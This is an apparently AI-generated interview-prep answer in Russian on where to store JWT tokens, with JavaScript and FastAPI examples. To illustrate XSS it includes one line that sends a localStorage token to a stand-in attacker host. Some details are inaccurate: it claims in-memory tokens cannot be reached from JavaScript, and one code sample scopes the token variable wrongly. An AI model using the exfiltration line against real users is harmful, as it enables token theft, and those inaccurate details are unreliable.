← Назад к вопросам

Где хранил JWT Token?

2.3 Middle🔥 223 комментариев
#Архитектура и паттерны#Браузер и сетевые технологии

Комментарии (3)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Где хранить JWT Token

Это критичный вопрос безопасности. Есть несколько подходов, каждый с трейд-оффами. Я использовал разные в разных проектах.

Вариант 1: localStorage (не рекомендуется)

// Авторизация
const login = async (email, password) => {
  const response = await fetch('/api/auth/login', {
    method: 'POST',
    body: JSON.stringify({ email, password })
  });
  const { token } = await response.json();
  
  // Сохраняем в localStorage
  localStorage.setItem('token', token);
};

// Отправляем в каждом запросе
const fetchWithAuth = async (url, options = {}) => {
  const token = localStorage.getItem('token');
  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      'Authorization': `Bearer ${token}`
    }
  });
};

Плюсы:

  • Просто использовать
  • Доступен из всех вкладок
  • Пережимает перезагрузку

Минусы (СЕРЬЕЗНЫЕ):

  • Уязвим к XSS (Cross-Site Scripting) атакам
  • localStorage доступен из JavaScript: localStorage.getItem('token')
  • Если злоумышленник внедрит код — украдёт token
  • В production НЕ использовать для sensitive токенов
// XSS атака
// Зловредный скрипт в <img> или <script>:
fetch('https://attacker.com/?token=' + localStorage.getItem('token'));

Вариант 2: sessionStorage (тоже уязвим)

sessionStorage.setItem('token', token);

const token = sessionStorage.getItem('token'); // Уязвим к XSS

Плюсы:

  • Очищается при закрытии вкладки

Минусы:

  • Тоже уязвим к XSS
  • Не доступен между вкладками

Вариант 3: Memory (только во время сеанса)

let authToken = null;

const setToken = (token) => {
  authToken = token;
};

const getToken = () => authToken;

const logout = () => {
  authToken = null;
};

// При перезагрузке пользователь разлогинится
// Но это нормально — refresh token восстановит сеанс

Плюсы:

  • НЕ уязвим к XSS (нет доступа из JavaScript)
  • Безопасен
  • Автоматически очищается при перезагрузке

Минусы:

  • Теряется при перезагрузке страницы
  • Нужен refresh token для восстановления

Вариант 4: HttpOnly Cookie (РЕКОМЕНДУЕТСЯ)

# Backend (FastAPI)
from fastapi import Response
from datetime import datetime, timedelta

@app.post('/api/auth/login')
def login(credentials: LoginRequest, response: Response):
    user = authenticate(credentials)
    token = create_jwt_token(user.id)
    
    # HttpOnly cookie — не доступна из JavaScript
    response.set_cookie(
        key='token',
        value=token,
        httponly=True,  # Критично! Защитит от XSS
        secure=True,    # Только HTTPS
        samesite='strict',  # Защита от CSRF
        max_age=3600    # 1 час
    )
    
    return {'ok': True}

@app.post('/api/auth/logout')
def logout(response: Response):
    response.delete_cookie('token')
    return {'ok': True}

Frontend:

// Cookie отправляется автоматически
const login = async (email, password) => {
  const response = await fetch('https://api.example.com/api/auth/login', {
    method: 'POST',
    credentials: 'include', // Отправляем cookies
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password })
  });
  // Token уже в cookie, ничего не нужно хранить
};

// Все последующие запросы автоматически включают cookie
const fetchWithAuth = (url, options = {}) => {
  return fetch(url, {
    ...options,
    credentials: 'include' // Браузер автоматически отправляет cookies
  });
};

Плюсы (ОЧЕНЬ ВАЖНО):

  • HttpOnly flag блокирует доступ из JavaScript → НЕ уязвима к XSS
  • Браузер автоматически отправляет с каждым запросом
  • Secure flag = только HTTPS
  • SameSite = защита от CSRF
  • Server-контролируемая логика

Минусы:

  • Нужна HTTPS в production
  • Нужно настроить CORS правильно
  • Требует более тщательной конфигурации

Вариант 5: Комбинированный подход (best practice)

# Backend
@app.post('/api/auth/login')
def login(credentials: LoginRequest, response: Response):
    user = authenticate(credentials)
    
    # Access token (короткий, 15 минут)
    access_token = create_jwt_token(
        user.id,
        expires_in=900  # 15 минут
    )
    
    # Refresh token (длинный, 7 дней)
    refresh_token = create_jwt_token(
        user.id,
        expires_in=604800,  # 7 дней
        type='refresh'
    )
    
    # Access token в памяти (для XSS защиты)
    # Refresh token в HttpOnly cookie
    response.set_cookie(
        key='refresh_token',
        value=refresh_token,
        httponly=True,
        secure=True,
        samesite='strict',
        max_age=604800
    )
    
    return {'access_token': access_token, 'token_type': 'bearer'}

@app.post('/api/auth/refresh')
def refresh(request: Request):
    refresh_token = request.cookies.get('refresh_token')
    if not refresh_token or not validate_token(refresh_token):
        raise HTTPException(status_code=401)
    
    user_id = decode_token(refresh_token).get('sub')
    new_access_token = create_jwt_token(user_id, expires_in=900)
    
    return {'access_token': new_access_token}

Frontend:

// 1. Login
const login = async (email, password) => {
  const response = await fetch('https://api.example.com/api/auth/login', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password })
  });
  
  const { access_token } = await response.json();
  
  // Сохраняем access_token в памяти (защищено от XSS)
  let currentAccessToken = access_token;
  
  return { access_token };
};

// 2. API запрос с access_token
const fetchWithAuth = async (url, options = {}) => {
  let response = await fetch(url, {
    ...options,
    credentials: 'include',
    headers: {
      ...options.headers,
      'Authorization': `Bearer ${currentAccessToken}`
    }
  });
  
  // Если access_token истёк (401), обновляем
  if (response.status === 401) {
    const refreshResponse = await fetch(
      'https://api.example.com/api/auth/refresh',
      { method: 'POST', credentials: 'include' }
    );
    
    if (refreshResponse.ok) {
      const { access_token } = await refreshResponse.json();
      currentAccessToken = access_token;
      
      // Повторный запрос с новым token
      response = await fetch(url, {
        ...options,
        credentials: 'include',
        headers: {
          ...options.headers,
          'Authorization': `Bearer ${currentAccessToken}`
        }
      });
    } else {
      // Refresh не удалась — нужна новая авторизация
      window.location.href = '/login';
    }
  }
  
  return response;
};

// 3. Logout
const logout = async () => {
  await fetch('https://api.example.com/api/auth/logout', {
    method: 'POST',
    credentials: 'include'
  });
  
  currentAccessToken = null;
  window.location.href = '/login';
};

Сравнительная таблица

Вариант              | XSS Защита | Обновление | Сложность | Использую
---------------------|------------|------------|-----------|----------
localStorage          | НЕТ        | Вручную   | Низкая    | Никогда
sessionStorage        | НЕТ        | Вручную   | Низкая    | Никогда
Memory                | ДА         | Cookie    | Средняя   | Тестовое
HttpOnly Cookie       | ДА         | Вручную   | Средняя   | Часто
Combo (best practice) | ДА         | Авто      | Высокая   | Production

Что я выбираю в разных ситуациях

Production (критичное):

Access Token (15 мин) -> в памяти
Refresh Token (7 дней) -> HttpOnly Cookie

SPA приложение (не очень критичное):

Access Token -> HttpOnly Cookie

Тестовое / Prototип:

Token -> в памяти (вспомогательная переменная)

Главное правило

НИКОГДА не используй localStorage/sessionStorage для sensitive токенов в production.

Используй HttpOnly Cookie + Secure flag + SameSite для максимальной защиты.

Это защитит от XSS, CSRF и других векторов атак. Если нужна более высокая безопасность — добавь refresh token rotation и device fingerprinting.

Где хранил JWT Token? | PrepBro